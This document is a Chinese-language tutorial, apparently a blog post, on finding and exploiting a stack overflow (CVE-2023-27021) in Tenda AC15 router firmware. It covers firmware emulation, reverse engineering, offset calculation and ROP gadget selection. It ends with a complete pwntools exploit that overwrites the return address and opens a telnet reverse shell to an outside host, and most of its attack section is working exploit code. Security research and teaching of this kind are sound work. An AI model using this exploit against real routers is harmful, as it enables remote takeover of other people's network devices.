师傅,我配置好了br0接口,也把webroot_ro的文件copy到了webroot,但是在启动httpd的时候总是失败,和你图片里面的情况不一样.请问这种应该怎么解决呢
路由器通用0day漏洞挖掘及RCE思路
一、概述
近期tenda系列路由器频繁出现漏洞,下面以CVE-2023-27021漏洞为例,简要描述下对于刚入门IOT安全的人来说怎样去挖掘一个路由器的栈溢出漏洞,并深入利用实现RCE
通常我们挖掘固件漏洞,首先要拿到固件,腾达官网提供用于更新的固件包,我们去官网下载固件即可。最可能容易发现漏洞的固件,可能是某些上一个更新版本比较早的固件,我们可以着重针对这些固件进行漏洞挖掘。此次我们在tenda AC15 V15.03.05.19上复现下怎么挖到这个漏洞,官网下载链接为:https://www.tenda.com.cn/download/detail-2680.html
二、环境搭建
固件下载后通常是.bin 后缀的二进制文件,首先需要做的是使用binwalk解包,提取出对应的文件系统
建议不要直接使用apt install binwalk安装,可能由于缺乏某些依赖包导致解包失败,可以参考https://blog.csdn.net/u013071014/article/details/122426769 进行完整的binwalk安装
使用如下命令进行解包
binwalk -Me US_AC15V1.0BR_V15.03.05.19_multi_TD01.bin --run-as=root
解出来的squashfs-root文件夹即路由器的文件系统,根据目录结构看是一个类linux的系统
tenda 路由器的web启动程序通常是bin目录下的httpd文件,我们的漏洞挖掘也是通过这个文件入手。
使用file命令查看文件的类型,是一个arm架构的32位小端的程序
网上很多固件模拟的方法,这里推荐使用qemu-arm-static启动httpd
apt安装qemu
apt install qemu
apt install qemu-user-static
sudo apt install qemu-system
建立虚拟网桥
sudo apt install uml-utilities bridge-utils
sudo brctl addbr br0
sudo brctl addif br0 ens32
sudo ifconfig br0 up
sudo dhclient br0
使用qemu模拟启动httpd
cp $(which qemu-arm-static) .
sudo chroot ./ ./qemu-arm-static ./bin/httpd
访问ip发现返回404
mkdir webroot
cp -rf ./webroot_ro/* ./webroot/
刷新页面即可
三、栈溢出漏洞挖掘
使用IDA逆向httpd文件,寻找可以造成栈溢出的函数。挖掘栈溢出漏洞,通常我们要从一些危险函数入手,第一类函数是scanf,可能产生格式化字符串溢出漏洞,第二类是strcpy、strcat、sprintf等字符串拷贝函数。根据tenda的历史CVE漏洞,strcpy函数产生的漏洞比较多,所以我们从strcpy入手举例。
搜索strcpy,查看其交叉引用
有160个函数,我们可以逐个进去F5看下代码。
我们找到了这个CVE对应的formSetFirewallCfg这个函数,这里我们看到websGetVar传入的firewallEn赋值给s,后续没有对s进行长度校验,直接strcpy拷贝到了v3开辟的栈空间中,是一个明显的栈溢出漏洞。
接下来就是要验证下formSetFirewallCfg这个函数是否用户可控,是否有利用的条件。
查看下formSetFirewallCfg 的引用
结合web交互的http流量包以及websGetVar函数名,可以猜到formSetFirewallCfg是web传参用的函数,openSchedWifi就是构造url访问的接口名,一级目录名为goform。
因此,我们构造请求,尝试下是否可以触发溢出
import requests
url = "http://47.98.137.248/goform/SetFirewallCfg"
header = {
"Content-Type": "application/x-www-form-urlencoded; charset=UTF-8",
"Cookie": "password=rtp5gk"
}
payload = "A" * 500
data = {"firewallEn": payload}
response = requests.post(url, headers=header, data=data, timeout=5)
response = requests.post(url, headers=header, data=data, timeout=5)
print(response.text)
发送请求后,设备已经拒绝服务,证明漏洞确实存在
四、漏洞利用
实现栈溢出之后,我们进一步尝试是否可以rce,使用checksec查看下二进制文件编译的保护情况
发现只开启了NX enabled,无法直接执行栈中的shellcode,所以利用的思路是通过构造rop链构造相应参数来执行system命令,来拿到shell。
(一) 配置gdb动态调试环境
首先是配置gdb动态调试环境,安装gdb-multiarch及pwndbg插件。gdb-multiarch是一种支持调试多种架构程序的gdb
安装可参考:https://www.cnblogs.com/gd/p/16180128.html
调试程序
chroot ./ ./qemu-arm-static -g 9999 ./bin/httpd
另开一个终端,使用gdb-multiarch 执行
gdb-multiarch ./bin/httpd
进入gdb后,将架构转为arm架构
set architecture arm
远程连接9999端口,开始调试漏洞程序
target remote :9999
pwndbg中c运行程序
python发送poc,成功的覆盖PC寄存器的值,程序奔溃中断。
到此调试环境已经准备就绪
(二) 漏洞利用
1. 利用思路
由于程序开启了NX保护,无法直接执行栈中的shellcode,在程序的可执行的段中通过 ROP 技术执行我们的 shellcode。常用的的 ROP 技术包括 ret2text,ret2shellcode,ret2syscall,ret2libc。
此处我们采用ret2libc执行,ret2libc是指将程序返回 libc,直接调用 libc 中的system函数执行命令。
具体思路如下:
找 libc 的基地址
计算libc中system函数的地址
控制r0寄存器,在r0中写入system函数要执行的参数,即我们要执行的shellcode。
控制某寄存器,将system的地址写入某寄存器,并将system地址弹出到PC寄存器,使程序流执行system函数。
2. 计算溢出所需偏移量
计算偏移量的方法有很多,可以利用反汇编之后的静态代码计算,也可以通过动态调试得出,这里利用cyclic计算
首先,利用cyclic 生成一个长度500的随机字符串,替换之前的payload,重新调试
利用cyclic计算偏移量,cyclic -l PC寄存器的值或者地址,得出偏移量是52
3. 寻找libc基址
在函数formSetFirewallCfg入口打个断点,continuing运行程序,发送上文中的poc,停到断点处
vmmap指令打印内存信息,看到没有libc,猜测<explored>这里就是libc,后续测试证明的确是。libc地址为0xff58c000</explored>
libc_base_addr=0xff58c000
4. 计算libc中system函数地址
from pwn import *
libc = ELF("./lib/libc.so.0")
system_offset = libc.symbols["system"]
因此
system_addr = libc_base_addr + system_offset
5. 寻找gadget
使用ROPgadget,在libc中找一个可以控制r0的gadget
ROPgadget --binary ./lib/libc.so.0 | grep "mov r0, sp"
可以看到可以利用的gadget非常多,随便选一个即可,比如0x00040cb8,这个比较简短
move_r0= libc_base_addr+ 0x00040cb8
再在libc中找一个可以pop到r3的gadget
ROPgadget --binary ./lib/libc.so.0 --only "pop"|grep r3
还是选择这条比较短的,0x00018298
r3_pop= libc_base_addr + 0x00018298
6. 构造利用脚本getshell
最终的payload:
payload = cyclic(52) + p32(r3_pop) + p32(system_addr) + p32(move_ro) + cmd
完整的exp如下
from pwn import *
import requests
url = "http://47.98.137.248"
header = {
"Content-Type": "application/x-www-form-urlencoded; charset=UTF-8",
"Cookie": "password=bcf33de30ebf57e4d3785c08adec4b85cvztgb"
}
# 命令执行利用telnet反弹shell
cmd = b"echo test;telnet 101.43.8.96 4444 | /bin/sh | telnet 101.43.8.96 5555"
libc_base_addr = 0xff58c000
libc = ELF("./lib/libc.so.0")
system_offset = libc.symbols["system"]
system_addr= libc_base_addr + system_offset
r3_pop =libc_base_addr + 0x00018298
move_r0= libc_base_addr+ 0x00040cb8
payload = cyclic(52) + p32(r3_pop) + p32(system_addr) + p32(move_r0) + cmd
data = {"firewallEn": payload}
response = requests.post(url + "/goform/SetFirewallCfg", headers=header, data=data)
print(response.text)
由于路由器一般不支持bin/bash命令,选择用telnet来getshell。VPN上分别监听 4444和5555端口,执行脚本
nc 4444端口监听已经建立连接,输入命令,5555监听端口处获得回显